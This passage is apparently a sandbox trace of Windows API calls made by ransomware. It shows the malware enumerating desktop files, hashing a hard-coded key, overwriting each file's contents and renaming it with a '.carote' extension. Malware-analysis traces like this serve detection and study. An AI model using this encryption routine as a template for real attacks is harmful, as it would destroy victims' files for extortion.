halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\al1udyzyxe3_.pdf.carote")) returned 1 [0113.253] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.253] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.253] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.253] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3ca110, ftCreationTime.dwHighDateTime=0x1d4d1b3, ftLastAccessTime.dwLowDateTime=0x37366b00, ftLastAccessTime.dwHighDateTime=0x1d4cc20, ftLastWriteTime.dwLowDateTime=0x37366b00, ftLastWriteTime.dwHighDateTime=0x1d4cc20, nFileSizeHigh=0x0, nFileSizeLow=0x12aab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EiHg8GR6-5ETznOtH.xls", cAlternateFileName="EIHG8G~1.XLS")) returned 1 [0113.254] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f3f0 [0113.254] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.254] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f3f0 | out: hHeap=0x5010000) returned 1 [0113.254] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\EiHg8GR6-5ETznOtH.xls") returned=".xls" [0113.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\EiHg8GR6-5ETznOtH.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\eihg8gr6-5etznoth.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.254] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=76459) returned 1 [0113.254] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.256] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12a85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.256] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.257] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.257] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.257] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.257] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x12aab, lpOverlapped=0x0) returned 1 [0113.258] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.258] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.258] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.258] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.258] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.259] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.259] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.259] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.259] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.259] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.259] GetLastError () returned 0x0 [0113.259] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.259] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.259] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.259] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x12ab0) returned 0x7b182e0 [0113.259] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.259] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.260] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x12aa6, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x12aa6, lpOverlapped=0x0) returned 1 [0113.260] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.260] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12aab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.260] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.260] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.260] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.260] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.260] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.260] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.260] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.260] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.260] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.261] CloseHandle (hObject=0x61c) returned 1 [0113.261] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0113.262] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.262] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.262] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\EiHg8GR6-5ETznOtH.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\eihg8gr6-5etznoth.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\EiHg8GR6-5ETznOtH.xls.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\eihg8gr6-5etznoth.xls.carote")) returned 1 [0113.262] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.262] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.263] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.263] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c758710, ftCreationTime.dwHighDateTime=0x1d4c5fc, ftLastAccessTime.dwLowDateTime=0xb92910c0, ftLastAccessTime.dwHighDateTime=0x1d4d11d, ftLastWriteTime.dwLowDateTime=0xb92910c0, ftLastWriteTime.dwHighDateTime=0x1d4d11d, nFileSizeHigh=0x0, nFileSizeLow=0x2a77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gmQhUBvB_idYNsu0nMl.mkv", cAlternateFileName="GMQHUB~1.MKV")) returned 1 [0113.263] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f3f0 [0113.263] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.263] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f3f0 | out: hHeap=0x5010000) returned 1 [0113.263] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\gmQhUBvB_idYNsu0nMl.mkv") returned=".mkv" [0113.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\gmQhUBvB_idYNsu0nMl.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\gmqhubvb_idynsu0nml.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.264] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=10871) returned 1 [0113.264] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.266] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2a51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.266] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.267] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.267] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.267] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.267] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x2a77, lpOverlapped=0x0) returned 1 [0113.268] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.268] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.268] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.268] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.268] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.269] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.269] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.269] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.269] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.269] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.269] GetLastError () returned 0x0 [0113.269] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.269] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.269] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.269] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2a80) returned 0x7b182e0 [0113.269] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.269] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.269] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x2a72, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x2a72, lpOverlapped=0x0) returned 1 [0113.270] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.270] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2a77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.270] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.270] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.270] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.270] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.270] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.270] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.270] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.270] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.270] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.270] CloseHandle (hObject=0x61c) returned 1 [0113.271] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0113.271] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.271] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.271] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\gmQhUBvB_idYNsu0nMl.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\gmqhubvb_idynsu0nml.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\gmQhUBvB_idYNsu0nMl.mkv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\gmqhubvb_idynsu0nml.mkv.carote")) returned 1 [0113.271] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.271] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.272] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.272] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1d2300, ftCreationTime.dwHighDateTime=0x1d4cc47, ftLastAccessTime.dwLowDateTime=0x68c8ba10, ftLastAccessTime.dwHighDateTime=0x1d4c55e, ftLastWriteTime.dwLowDateTime=0x68c8ba10, ftLastWriteTime.dwHighDateTime=0x1d4c55e, nFileSizeHigh=0x0, nFileSizeLow=0x13386, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qi 2.jpg", cAlternateFileName="QI2~1.JPG")) returned 1 [0113.272] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f3f0 [0113.272] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.272] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f3f0 | out: hHeap=0x5010000) returned 1 [0113.272] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\Qi 2.jpg") returned=".jpg" [0113.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\Qi 2.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\qi 2.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.273] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=78726) returned 1 [0113.273] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.275] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.275] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.276] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.276] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.276] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.276] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x13386, lpOverlapped=0x0) returned 1 [0113.277] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.277] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.277] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.277] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.277] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.278] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.278] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.278] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.278] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.278] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.278] GetLastError () returned 0x0 [0113.278] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.278] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.278] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.278] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x13390) returned 0x7b182e0 [0113.278] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.278] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.278] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x13381, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x13381, lpOverlapped=0x0) returned 1 [0113.279] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.279] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13386, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.279] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.279] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.279] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.279] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.279] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.279] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.279] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.279] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.279] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.279] CloseHandle (hObject=0x61c) returned 1 [0113.280] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.280] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b14908 [0113.280] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0113.280] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\Qi 2.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\qi 2.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\Qi 2.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\qi 2.jpg.carote")) returned 1 [0113.281] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.281] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.282] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1d2300, ftCreationTime.dwHighDateTime=0x1d4cc47, ftLastAccessTime.dwLowDateTime=0x68c8ba10, ftLastAccessTime.dwHighDateTime=0x1d4c55e, ftLastWriteTime.dwLowDateTime=0x68c8ba10, ftLastWriteTime.dwHighDateTime=0x1d4c55e, nFileSizeHigh=0x0, nFileSizeLow=0x13386, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qi 2.jpg", cAlternateFileName="QI2~1.JPG")) returned 0 [0113.282] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.282] HeapFree (in: hHeap=0x5010000, 